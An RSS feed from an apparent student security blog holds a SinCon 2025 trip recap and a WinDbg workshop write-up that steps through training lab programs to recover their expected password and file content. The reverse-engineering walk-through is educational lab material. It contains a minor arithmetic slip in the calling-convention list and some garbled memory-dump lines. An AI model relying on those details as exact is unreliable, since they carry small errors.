<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>gr1d-init</title><description>No logs, no traces</description><link>https://gr1d-init.github.io</link><item><title>My Trip to SinCon2025</title><link>https://gr1d-init.github.io/blog/sincon2025</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/sincon2025</guid><description>A recap of my trip to SinCon 2025, experiences throughout the workshop</description><pubDate>Wed, 28 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Attending &lt;strong&gt;SinCon 2025&lt;/strong&gt; was a valuable experience, filled with learning opportunities, networking, and interesting challenges at &quot;kampungs&quot;. This blog will provide a rundown of the event.&lt;/p&gt;
&lt;h2&gt;The Journey to SinCon&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;UTM curfew&lt;/strong&gt; (12 AM to 6 AM) meant I had to start my journey at a specific time. I took the &lt;strong&gt;P211 bus&lt;/strong&gt; from UTM to Larkin around 9 PM, followed by the &lt;strong&gt;P101&lt;/strong&gt; to JB Central. Fortunately, both of these bus rides were &lt;strong&gt;free of charge&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Before crossing the border, I took care of a couple of essentials: activating an &lt;strong&gt;international data roaming plan&lt;/strong&gt; (RM30) and reporting my stay in Singapore via the &lt;strong&gt;MyICA app&lt;/strong&gt;, which is linked to my passport.&lt;/p&gt;
&lt;p&gt;From JB Central, I walked to the CIQ. After a passport scan, and then another, I proceeded to choose a bus. As my destination was Queen St, I boarded the &lt;strong&gt;CW2&lt;/strong&gt;. Being my first time crossing the border without an &lt;strong&gt;EZLink card&lt;/strong&gt;, I used my debit card for the bus fare. A quick wave of the card at JB CIQ, and I was on my way.&lt;/p&gt;
&lt;p&gt;The ride from JB CIQ to &lt;strong&gt;Woodlands Checkpoint&lt;/strong&gt; was approximately 5 minutes. It was not necessary to tap out with the debit card when arriving there. I scanned my passport at Woodlands, then re-boarded the &lt;strong&gt;CW2&lt;/strong&gt; (tapping my debit card again). The bus then continued to &lt;strong&gt;Queen St Terminal&lt;/strong&gt;. Again, no tap-out was required upon arrival.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/pic1.CffHiAKW_Z2rv6AM.webp&quot; alt=&quot;Journey to SinCon&quot;&gt;&lt;/p&gt;
&lt;p&gt;I spent my first night in Singapore at a &lt;strong&gt;McDonald&apos;s&lt;/strong&gt; near Queen St Terminal, thanks to their &lt;strong&gt;complimentary Wi-Fi&lt;/strong&gt;. There, I had an iced latte and configured my virtual machines and other necessary software for the upcoming SinCon workshops.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/pic2.I3NFo6qR_1Qn7In.webp&quot; alt=&quot;My &amp;#x22;command center&amp;#x22; at McDonald&amp;#x27;s&quot;&gt;&lt;/p&gt;
&lt;p&gt;Early of the next morning, I went to the nearest MRT station by Queen St and purchased an &lt;strong&gt;EZLink card&lt;/strong&gt;. The cost was &lt;strong&gt;10 SGD&lt;/strong&gt; (5 SGD for the card itself and 5 SGD in stored credit).&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/ezlink.CTTgMY48_Z2qbf4B.webp&quot; alt=&quot;My EZLink Card&quot;&gt;&lt;/p&gt;
&lt;h2&gt;SinCon Day 1: Workshops and First Impressions&lt;/h2&gt;
&lt;p&gt;Upon arrival at &lt;strong&gt;Voco Orchard&lt;/strong&gt;, the SinCon venue,&lt;/p&gt;
&lt;p&gt;At registration desk, I received my pass and some conference souvenirs. Breakfast was provided, which was a welcome addition. Following that, we attended &lt;strong&gt;two keynote sessions&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/pic3.BwbNDE1N_OoNEL.webp&quot; alt=&quot;Voco Orchard - SinCon Venue&quot;&gt;&lt;/p&gt;
&lt;p&gt;Around 11 AM, as workshops were still being set up, I visited the &lt;strong&gt;AI Kampung&lt;/strong&gt;. The moderator presented an impressive demonstration of using &lt;strong&gt;Copilot with Gemini 2.5 and Augment&lt;/strong&gt; for rapid application development.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/aikampung.AEuzoETG_1sARie.webp&quot; alt=&quot;AI Kampung Demonstration&quot;&gt;&lt;/p&gt;
&lt;p&gt;The demonstration highlighted how these tools could significantly impact the development of &lt;strong&gt;red and blue team tools&lt;/strong&gt; in cybersecurity, bringing an evolution to the industry.&lt;/p&gt;
&lt;p&gt;My first workshop was &lt;strong&gt;Shellshock&lt;/strong&gt;, which proved to be quite insightful.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For more details, refer to:&lt;br&gt;
https://gr1d-init.github.io/blog/sinconshellshock/&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/shellshock.BDu1TbRz_ZUVRb3.webp&quot; alt=&quot;Shellshock Workshop&quot;&gt;&lt;/p&gt;
&lt;p&gt;In between sessions, I visited the &lt;strong&gt;Electronic Badge Kampung&lt;/strong&gt; and had my &lt;strong&gt;Dragon Badge&lt;/strong&gt; soldered. It looked impressive.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/dragon.BMsnVge1_Z299dvk.webp&quot; alt=&quot;My freshly soldered Dragon Badge&quot;&gt;&lt;/p&gt;
&lt;p&gt;After lunch, I attended the &lt;strong&gt;Windbg workshop&lt;/strong&gt;. This session provided a solid introduction to the &lt;strong&gt;dynamic analysis of Windows binaries&lt;/strong&gt;.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/windbg.C3AhDAN4_2kEiF1.webp&quot; alt=&quot;Windbg Workshop&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Further information can be found here:&lt;br&gt;
https://gr1d-init.github.io/blog/sinconwindbg/&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This concluded the first day of the conference.&lt;/p&gt;
&lt;h2&gt;Evening Activities and CTF Engagement&lt;/h2&gt;
&lt;p&gt;I traveled by bus to my accommodation, using my new &lt;strong&gt;EZLink card&lt;/strong&gt; for payment. That evening, feeling quite overwhelmed, I nevertheless dedicated some time to the &lt;strong&gt;Dragon Badge CTF challenges&lt;/strong&gt;.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/accomodation.DEWkNVvR_ZviEf0.webp&quot; alt=&quot;accomodation&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./assets/sincondragon.webp&quot; alt=&quot;Dragon Badge CTF&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;My writeups for these challenges are available at:&lt;br&gt;
https://gr1d-init.github.io/blog/sincondragonbadge/&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;SinCon Day 2: Hardware Hacking and Discoveries&lt;/h2&gt;
&lt;p&gt;The following morning, I returned to &lt;strong&gt;Voco Orchard&lt;/strong&gt; for the second day of SinCon. After breakfast, I immersed myself in what became my favorite part of the conference: the &lt;strong&gt;Hardware Hacking Kampung&lt;/strong&gt;, hosted by the &lt;strong&gt;bi0sctf team&lt;/strong&gt;. Their team members were approachable, willing to teach, and I gained significant insights into hardware hacking. It was, in my opinion, the most engaging kampung.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/bi0s.DEMZ-dyN_1zE9Cd.webp&quot; alt=&quot;bi0s&quot;&gt;&lt;/p&gt;
&lt;p&gt;I also participated in their &lt;strong&gt;hardware CTF&lt;/strong&gt; and was pleased to win a &lt;strong&gt;CompatrIoT board&lt;/strong&gt;. Look how sophisticated it is.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/compatriot.DQdRmBpe_PVpr0.webp&quot; alt=&quot;compatriot&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;My writeup for this CTF:&lt;br&gt;
https://gr1d-init.github.io/blog/sinconhardwarekampung/&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After the hardware CTF, I visited the &lt;strong&gt;RFID Kampung&lt;/strong&gt;. There, I received an introduction to &lt;strong&gt;BadUSB&lt;/strong&gt; (casually referred to as &quot;bad mouse&quot;) and other RFID-related topics.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/rfid.D45sQknN_Z1IHkEA.webp&quot; alt=&quot;rfid&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;More information on this can be found at:&lt;br&gt;
https://gr1d-init.github.io/blog/sinconrfidkampung/&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I also stopped by the &lt;strong&gt;Cyber Range Village&lt;/strong&gt;, which featured &lt;strong&gt;pentest-style Active Directory CTFs&lt;/strong&gt;.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/cyberrange.DvT9-f9T_EpMCm.webp&quot; alt=&quot;cyberrange&quot;&gt;&lt;br&gt;
I joined their community at &lt;code&gt;rangevillage.org&lt;/code&gt; and discovered additional CTFs on &lt;code&gt;playtrv.async.sg&lt;/code&gt;. Unfortunately, due to time constraints, I was unable to attend their AD workshop, but it is an area I intend to explore further.&lt;/p&gt;
&lt;p&gt;And with that, &lt;strong&gt;SinCon 2025 concluded&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;AfterCon: Exploring Singapore&lt;/h2&gt;
&lt;p&gt;With the conference finished, I took some time for sightseeing. I headed to &lt;strong&gt;Marina Bay&lt;/strong&gt; and saw the &lt;strong&gt;Marina Bay Sands&lt;/strong&gt;. I also had a view of the &lt;strong&gt;Merlion statue&lt;/strong&gt; across the water. My visit included &lt;strong&gt;Gardens by the Bay&lt;/strong&gt;, where I saw the iconic &lt;strong&gt;Supertree Grove&lt;/strong&gt;.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/pic4.Cq0hRUHJ_2eTckq.webp&quot; alt=&quot;Marina Bay Sands&quot;&gt;&lt;/p&gt;
&lt;p&gt;It was then time to begin my journey back. I took the &lt;strong&gt;CW2 bus&lt;/strong&gt; from Queen St Terminal. This time, scanning my EZLink card produced a &lt;strong&gt;yellow ticket&lt;/strong&gt;.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/cw2.DZNDnlfm_ZR8Cl3.webp&quot; alt=&quot;cw2&quot;&gt;&lt;/p&gt;
&lt;p&gt;The return journey mirrored my arrival: &lt;strong&gt;Woodlands Checkpoint&lt;/strong&gt; (passport scan), re-boarded &lt;strong&gt;CW2&lt;/strong&gt;, reached &lt;strong&gt;JB CIQ&lt;/strong&gt; (another passport scan), then another &lt;strong&gt;CW2&lt;/strong&gt; ride to Larkin. From Larkin, the free &lt;strong&gt;P211 bus&lt;/strong&gt; transported me back to UTM, concluding my trip safely.&lt;/p&gt;
&lt;h2&gt;Overall Experience and Reflections&lt;/h2&gt;
&lt;p&gt;Beyond the formal workshops and talks, SinCon provided an excellent opportunity to connect with fellow &lt;strong&gt;cybersecurity enthusiasts&lt;/strong&gt; and join new communities. It was a highly positive experience overall, with the &lt;strong&gt;hardware hacking session&lt;/strong&gt; led by the &lt;strong&gt;bi0sctf team&lt;/strong&gt; being a particular highlight.&lt;/p&gt;
&lt;h2&gt;Acknowledgements&lt;/h2&gt;
&lt;p&gt;I extend my sincere gratitude to &lt;strong&gt;InfoSec in the City&lt;/strong&gt; for selecting me for the &lt;strong&gt;SinCon 2025 student scholarship&lt;/strong&gt;. I also offer massive thanks to the &lt;strong&gt;bi0sctf team&lt;/strong&gt; for their hardware hacking session, all the &lt;strong&gt;speakers&lt;/strong&gt; for their insightful workshops, the &lt;strong&gt;event crews&lt;/strong&gt; for their hard work in ensuring the event ran smoothly, and &lt;strong&gt;everyone I had the pleasure of meeting&lt;/strong&gt;. I learned a great deal from these interactions.&lt;/p&gt;
&lt;h2&gt;Budget Breakdown (Approximate)&lt;/h2&gt;
&lt;p&gt;Here is an estimated breakdown of my expenses. All SGD amounts have been converted to MYR using an approximate exchange rate of &lt;strong&gt;1 SGD ≈ 3.29 MYR&lt;/strong&gt; (based on rate from xe.com, May 27, 2025).&lt;/p&gt;
&lt;p&gt;| Item                                      | Cost (SGD) | Cost (MYR) |
| :---------------------------------------- | :---------: | :---------: |
| Accommodation                             |     -      |   130.00   |
| International Data Roaming                |     -      |    30.00   |
| EZLink Card Purchase (Fee)                |    5.00    |    16.46   |
| EZLink Card Purchase (Initial Credit)     |    5.00    |    16.46   |
| Transport (Singapore - EZLink top-ups)    |   10.00    |    32.92   |
| Transport (Malaysia - buses)              |     -      |     4.80   |
| Food &amp;#x26; Drinks (McDonald&apos;s Iced Latte)     |    1.00    |     3.29   |
| &lt;strong&gt;Total&lt;/strong&gt;                                 |  &lt;strong&gt;21.00&lt;/strong&gt; |  &lt;strong&gt;233.93&lt;/strong&gt; |&lt;/p&gt;
&lt;p&gt;In summary, it was an &lt;strong&gt;enriching and insightful trip&lt;/strong&gt;. I look forward to future adventures among the communities.&lt;/p&gt;</content:encoded><h:img src="/_astro/banner.CXu4Y5GZ.avif"/><enclosure url="/_astro/banner.CXu4Y5GZ.avif"/></item><item><title>WinDbg Workshop at SinCon 2025</title><link>https://gr1d-init.github.io/blog/sinconwindbg</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/sinconwindbg</guid><description>A writeup of the WinDbg workshop session at SinCon 2025, covering key debugging concepts and techniques.</description><pubDate>Tue, 27 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I attended an insightful WinDbg workshop at SinCon 2025. This writeup covers the key concepts, tools, and techniques discussed during the session, including practical examples and my key takeaways.&lt;/p&gt;
&lt;h2&gt;Key Concepts Covered&lt;/h2&gt;
&lt;p&gt;The workshop covered fundamental &lt;strong&gt;WinDbg navigation&lt;/strong&gt; and &lt;strong&gt;dynamic analysis techniques&lt;/strong&gt;. A key focus was the &lt;strong&gt;x64 calling convention&lt;/strong&gt;, which dictates how arguments are passed to functions and how return values are handled. This convention is similar to &lt;strong&gt;Linux syscalls&lt;/strong&gt;, but with a different register order for arguments, starting with &lt;strong&gt;RCX&lt;/strong&gt; instead of &lt;strong&gt;RDI&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;x64 Calling Convention Summary:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Return value:&lt;/strong&gt; &lt;code&gt;rax&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1st argument:&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2nd argument:&lt;/strong&gt; &lt;code&gt;rdx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3rd argument:&lt;/strong&gt; &lt;code&gt;r8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;4th argument:&lt;/strong&gt; &lt;code&gt;r9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5th argument:&lt;/strong&gt; &lt;code&gt;rsp + 0x28&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;6th argument:&lt;/strong&gt; &lt;code&gt;rsp + 0x30&lt;/code&gt; (rsp + 0x28 + 4)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additionally, the workshop covered practical skills such as &lt;strong&gt;setting breakpoints&lt;/strong&gt; at the main entry point and other decision points within the code. We learned to &lt;strong&gt;inspect register contents&lt;/strong&gt; to understand the arguments passed to key functions and to &lt;strong&gt;analyze memory dumps&lt;/strong&gt; to identify the information required to satisfy program checks&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;Setting up breakpoints&lt;/h4&gt;
&lt;p&gt;| Command          | Use                                                     |
| ---------------- | ------------------------------------------------------- |
| &lt;code&gt;bp XX&lt;/code&gt;          | Set a breakpoint at XX                                  |
| &lt;code&gt;bp $entry&lt;/code&gt;      | Set a breakpoint at the entry point                     |
| &lt;code&gt;bl&lt;/code&gt;             | List breakpoints                                        |
| &lt;code&gt;bc X \| bd X&lt;/code&gt; | Clear \| disable breakpoint index X                     |
| &lt;code&gt;? module!func*&lt;/code&gt; | Check if the address of a target function is “resolved” |
| &lt;code&gt;lm&lt;/code&gt;             | List Modules (shows loaded modules’ info)               |&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;Executing through&lt;/h4&gt;
&lt;p&gt;| Command      | Use                                 |
| ------------ | ----------------------------------- |
| &lt;code&gt;k&lt;/code&gt;          | Display the function call stack     |
| &lt;code&gt;p&lt;/code&gt;          | Step over the next instruction      |
| &lt;code&gt;pc \| pt&lt;/code&gt; | Step until next call \| next return |
| &lt;code&gt;t&lt;/code&gt;          | Step into the next instruction      |
| &lt;code&gt;g&lt;/code&gt;          | Go: execute until a breakpoint/stop |&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;Interacting with registers&lt;/h4&gt;
&lt;p&gt;| Command        | Use                                                   |
| -------------- | ----------------------------------------------------- |
| &lt;code&gt;r&lt;/code&gt;            | “Display registers”: shows content of major registers |
| &lt;code&gt;? XX&lt;/code&gt;         | “Show what X contains”                                |
| &lt;code&gt;d(b\|w\|d\|q)&lt;/code&gt; | Display X as byte\|word\|dword\|qword                 |&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Advanced Techniques&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;(e.g., Scripting, extensions, memory analysis, crash dump analysis)&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Practical Exercises&lt;/h2&gt;
&lt;h3&gt;Lab0&lt;/h3&gt;
&lt;p&gt;First, I examined the program&apos;s behavior by running it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/behaviour.C5xMy9CF_ZvjPlz.webp&quot; alt=&quot;Lab0 behaviour&quot;&gt;&lt;/p&gt;
&lt;p&gt;It ask the user to enter an input and check if it is true, else, showing wrong password,&lt;/p&gt;
&lt;p&gt;So, I use windbg&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0:000&gt; bp Lab0!main
breakpoint 0 redefined
0:000&gt; g
Breakpoint 0 hit
Lab0!main:
00007ff6`d5931120 4889542410      mov     qword ptr [rsp+10h],rdx ss:000000f2`c54ffa38=00007ff6d59315c9
0:000&gt; pc
Lab0!main+0x31:
00007ff6`d5931151 e86a000000      call    Lab0!printf (00007ff6`d59311c0)
0:000&gt; pc
Lab0!main+0x3d:
00007ff6`d593115d e85e000000      call    Lab0!printf (00007ff6`d59311c0)
0:000&gt; pc
Lab0!main+0x54:
00007ff6`d5931174 e8c7000000      call    Lab0!wscanf_s (00007ff6`d5931240)
0:000&gt; pc
Lab0!main+0x62:
00007ff6`d5931182 e879feffff      call    Lab0!VerifyInput (00007ff6`d5931000)
0:000&gt; t
Lab0!VerifyInput:
00007ff6`d5931000 48894c2408      mov     qword ptr [rsp+8],rcx ss:000000f2`c54ff7e0={Lab0!_NULL_IMPORT_DESCRIPTOR &amp;#x3C;PERF&gt; (Lab0+0x29098) (00007ff6`d5959098)}
0:000&gt; t
Lab0!VerifyInput+0x9:
00007ff6`d5931009 488d0df07f0200  lea     rcx,[Lab0!_NULL_IMPORT_DESCRIPTOR &amp;#x3C;PERF&gt; (Lab0+0x29000) (00007ff6`d5959000)]
0:000&gt; t
Lab0!printf:
00007ff6`d59311c0 48894c2408      mov     qword ptr [rsp+8],rcx ss:000000f2`c54ff7a0=0000000000000000
0:000&gt; db rcx
00007ff6`d5959000  43 68 65 63 6b 69 6e 67-20 69 6e 70 75 74 2e 2e  Checking input..
00007ff6`d5959010  0a 00 00 00 00 00 00 00-49 00 4c 00 6f 00 76 00 65 00 57 00 69 00 6e 00 64 00 62 00 67 00 00 00  e.W.i.n.d.b.g...
00007ff6`d5959030  57 6f 68 6f 6f 2c 20 77-65 6c 6c 20 64 6f 6e 65  Wohoo, well done
00007ff6`d5959040  21 0a 00 00 00 00 00 00-57 72 6f 6e 67 20 70 61 73 73 77 6f 72 64 2e 20 54 72 79 20 61 67 61 69  ssword. Try agai
00007ff6`d5959060  6e 21 0a 00 00 00 00 00-2d 2d 2d 2d 2d 2d 20 4c 61 62 20 30 20 2d 2d 2d 2d 2d 2d 0a 00 00 00  lab 0 ------.....
0:000&gt; g
ModLoad: 00007ff8`74370000 00007ff8`7438a000   C:\WINDOWS\SYSTEM32\kernel.appcore.dll
ModLoad: 00007ff8`77880000 00007ff8`77929000   C:\WINDOWS\System32\msvcrt.dll
ntdll!NtTerminateProcess+0x14:
00007ff8`785824f4 c3              ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My approach was to first set a breakpoint at the &lt;code&gt;main&lt;/code&gt; function. Then, I used the &lt;code&gt;pc&lt;/code&gt; (step to next call) command repeatedly to navigate through the execution flow until I reached the &lt;code&gt;VerifyInput&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;At this point, I switched to the &lt;code&gt;t&lt;/code&gt; (trace into) command to step into &lt;code&gt;VerifyInput&lt;/code&gt;. I continued stepping until I observed the &lt;code&gt;rcx&lt;/code&gt; register being used to pass an argument. Dumping the memory pointed to by &lt;code&gt;rcx&lt;/code&gt; revealed that the program expected the input to be &lt;code&gt;ILoveWindbg&lt;/code&gt; to pass the check.&lt;/p&gt;
&lt;p&gt;After discovering the required input, I reran the program. This time, with the correct input, the program successfully passed the check and displayed a &quot;well done&quot; message, as shown below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/welldone.WMpbVayS_1r26mk.webp&quot; alt=&quot;Lab0 welldone&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Lab 1&lt;/h3&gt;
&lt;p&gt;First, I examined the initial behavior of the Lab 1 program:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/behaviour.Ddo-iQOA_Z2nFe2g.webp&quot; alt=&quot;Lab 1 Initial Behaviour&quot;&gt;&lt;/p&gt;
&lt;p&gt;The program appeared to be searching for a specific file within the &lt;code&gt;C:\\Windows\\System32&lt;/code&gt; directory and exiting if not found.&lt;/p&gt;
&lt;p&gt;Next, I used WinDbg to investigate which file it was looking for and what its requirements were.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0:000&gt; bp Lab1!main
breakpoint 0 redefined
0:000&gt; g
Breakpoint 0 hit
Lab1!main:
00007ff6`24c31060 4889542410      mov     qword ptr [rsp+10h],rdx ss:0000006f`da11f758=00007ff624c49fd3
0:000&gt; pc
Lab1!main+0x8b:
00007ff6`24c310eb ff150f2f0400    call    qword ptr [Lab1!_imp_GetCurrentDirectoryA (00007ff6`24c74000)] ds:00007ff6`24c74000={KERNEL32!GetCurrentDirectoryAStub (00007ff8`77f25ed0)}
0:000&gt; pc
Lab1!main+0xd0:
00007ff6`24c31130 e88b670100      call    Lab1!strcpy_s (00007ff6`24c478c0)
0:000&gt; pc
Lab1!main+0xe9:
00007ff6`24c31149 e8126e0100      call    Lab1!strcat_s (00007ff6`24c47f60)
0:000&gt; pc
Lab1!main+0xfb:
00007ff6`24c3115b ff15af2e0400    call    qword ptr [Lab1!_imp_FindFirstFileA (00007ff6`24c74010)] ds:00007ff6`24c74010={KERNEL32!FindFirstFileA (00007ff8`77f37330)}
0:000&gt; pc
Lab1!main+0x1bb:
00007ff6`24c3121b ff15f72d0400    call    qword ptr [Lab1!_imp_FindNextFileA (00007ff6`24c74018)] ds:00007ff6`24c74018={KERNEL32!FindNextFileA (00007ff8`77f373a0)}
0:000&gt; pc
Lab1!main+0x149:
00007ff6`24c311a9 e8f26d0100      call    Lab1!strcmp (00007ff6`24c47fa0)
0:000&gt; t
Lab1!strcmp:
00007ff6`24c47fa0 482bd1          sub     rdx,rcx
0:000&gt; db rcx
0000006f`da11f21c  30 61 65 33 62 39 39 38-2d 39 61 33 38 2d 34 62  0ae3b998-9a38-4b
0000006f`da11f22c  37 32 2d 61 34 63 34 2d-30 36 38 34 39 34 34 31  72-a4c4-06849441
0000006f`da11f23c  35 31 38 64 5f 53 65 72-76 69 63 69 6e 67 2d 53  518d_Servicing-S
0000006f`da11f24c  74 61 63 6b 2e 64 6c 6c-00 01 00 00 c7 00 00 00  tack.dll........
0000006f`da11f25c  00 00 00 00 00 00 00 00-00 00 00 00 f1 6c 43 78  .............lCx
0000006f`da11f26c  f8 7f 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000006f`da11f27c  f6 7f 00 00 00 00 00 00-00 00 00 00 60 00 2c 40  ............`.,@
0000006f`da11f28c  00 00 00 00 00 00 00 00-00 00 00 00 80 04 00 00  ................
0:000&gt; db rdx
00007ff6`24c89050  69 6e 70 75 74 2e 74 78-74 00 00 00 00 00 00 00  input.txt.......
00007ff6`24c89060  5b 2b 5d 20 53 65 65 69-6e 67 20 66 69 6c 65 3a  [+] Seeing file:
00007ff6`24c89070  20 25 73 2e 2e 2e 20 46-6f 75 6e 64 20 66 69 6c   %s... Found fil
00007ff6`24c89080  65 2c 20 63 68 65 63 6b-69 6e 67 20 63 6f 6e 74  e, checking cont
00007ff6`24c89090  65 6e 74 0a 00 00 00 00-5b 69 5d 20 53 65 65 69  ent.....[i] Seei
00007ff6`24c890a0  6e 67 20 66 69 6c 65 3a-20 25 73 2e 2e 2e 20 57  ng file: %s... W
00007ff6`24c890b0  72 6f 6e 67 20 69 6e 70-75 74 0a 00 00 00 00 00  rong input......
00007ff6`24c890c0  5b 2d 5d 20 43 6f 75 6c-64 20 6e 6f 74 20 66 69  [-] Could not fi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My debugging process started by setting a &lt;strong&gt;breakpoint&lt;/strong&gt; at the &lt;code&gt;main&lt;/code&gt; function (&lt;code&gt;bp Lab1!main&lt;/code&gt;). I then used the &lt;strong&gt;&lt;code&gt;pc&lt;/code&gt;&lt;/strong&gt; (step to next call) command to iterate through the execution. This continued until I encountered a call to &lt;strong&gt;&lt;code&gt;strcmp&lt;/code&gt;&lt;/strong&gt;. Using the &lt;strong&gt;&lt;code&gt;t&lt;/code&gt;&lt;/strong&gt; (trace into) command, I stepped into &lt;strong&gt;&lt;code&gt;strcmp&lt;/code&gt;&lt;/strong&gt; and examined the arguments passed in &lt;strong&gt;&lt;code&gt;rcx&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;rdx&lt;/code&gt;&lt;/strong&gt;. This revealed that the program was checking for the existence of &lt;code&gt;input.txt&lt;/code&gt; in the &lt;code&gt;C:\\Windows\\System32&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;To observe the program&apos;s behavior with the file present, I created &lt;code&gt;input.txt&lt;/code&gt; in the &lt;code&gt;C:\\Windows\\System32&lt;/code&gt; directory and initially filled it with the string &quot;test&quot; for further analysis:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/added.D568axox_Z2vuXqn.webp&quot; alt=&quot;Added input.txt&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/foundcheck.CI2fgD9O_Z1twMKv.webp&quot; alt=&quot;Found Check GIF&quot;&gt;&lt;/p&gt;
&lt;p&gt;Upon re-examining the program&apos;s behavior with &lt;code&gt;input.txt&lt;/code&gt; present, I again set a &lt;strong&gt;breakpoint&lt;/strong&gt; at &lt;code&gt;main&lt;/code&gt; and used &lt;strong&gt;&lt;code&gt;pc&lt;/code&gt;&lt;/strong&gt; to step through. I noticed the program seemed to loop when checking for &lt;code&gt;input.txt&lt;/code&gt;. To understand why, I used the &lt;strong&gt;&lt;code&gt;u&lt;/code&gt;&lt;/strong&gt; (unassemble) command to inspect the assembly code and found a &lt;strong&gt;&lt;code&gt;jne&lt;/code&gt;&lt;/strong&gt; (jump if not equal) instruction causing the loop.&lt;/p&gt;
&lt;p&gt;To bypass this loop and proceed to the next stage, I set a new &lt;strong&gt;breakpoint (&lt;code&gt;bp&lt;/code&gt;)&lt;/strong&gt; at the address immediately following the &lt;strong&gt;&lt;code&gt;jne&lt;/code&gt;&lt;/strong&gt; instruction. Using the &lt;strong&gt;&lt;code&gt;g&lt;/code&gt;&lt;/strong&gt; (go) command, I ran the program until this new breakpoint was hit, successfully moving past the file existence check.&lt;/p&gt;
&lt;p&gt;Continuing with &lt;strong&gt;&lt;code&gt;pc&lt;/code&gt;&lt;/strong&gt;, I eventually encountered another &lt;strong&gt;&lt;code&gt;strcmp&lt;/code&gt;&lt;/strong&gt; call. This time, it was checking the &lt;em&gt;content&lt;/em&gt; of &lt;code&gt;input.txt&lt;/code&gt;. I used &lt;strong&gt;&lt;code&gt;t&lt;/code&gt;&lt;/strong&gt; to trace into this &lt;strong&gt;&lt;code&gt;strcmp&lt;/code&gt;&lt;/strong&gt; and then &lt;strong&gt;&lt;code&gt;db&lt;/code&gt;&lt;/strong&gt; to dump the contents of &lt;strong&gt;&lt;code&gt;rcx&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;rdx&lt;/code&gt;&lt;/strong&gt;. This revealed that the program expected the content of &lt;code&gt;input.txt&lt;/code&gt; to be &quot;&lt;strong&gt;Lab1.exe&lt;/strong&gt;&quot;. My placeholder &quot;test&quot; string was visible in &lt;strong&gt;&lt;code&gt;rdx&lt;/code&gt;&lt;/strong&gt;, confirming the check.&lt;/p&gt;
&lt;p&gt;Knowing the required content, I modified &lt;code&gt;input.txt&lt;/code&gt; to contain &quot;&lt;strong&gt;Lab1.exe&lt;/strong&gt;&quot;:&lt;/p&gt;
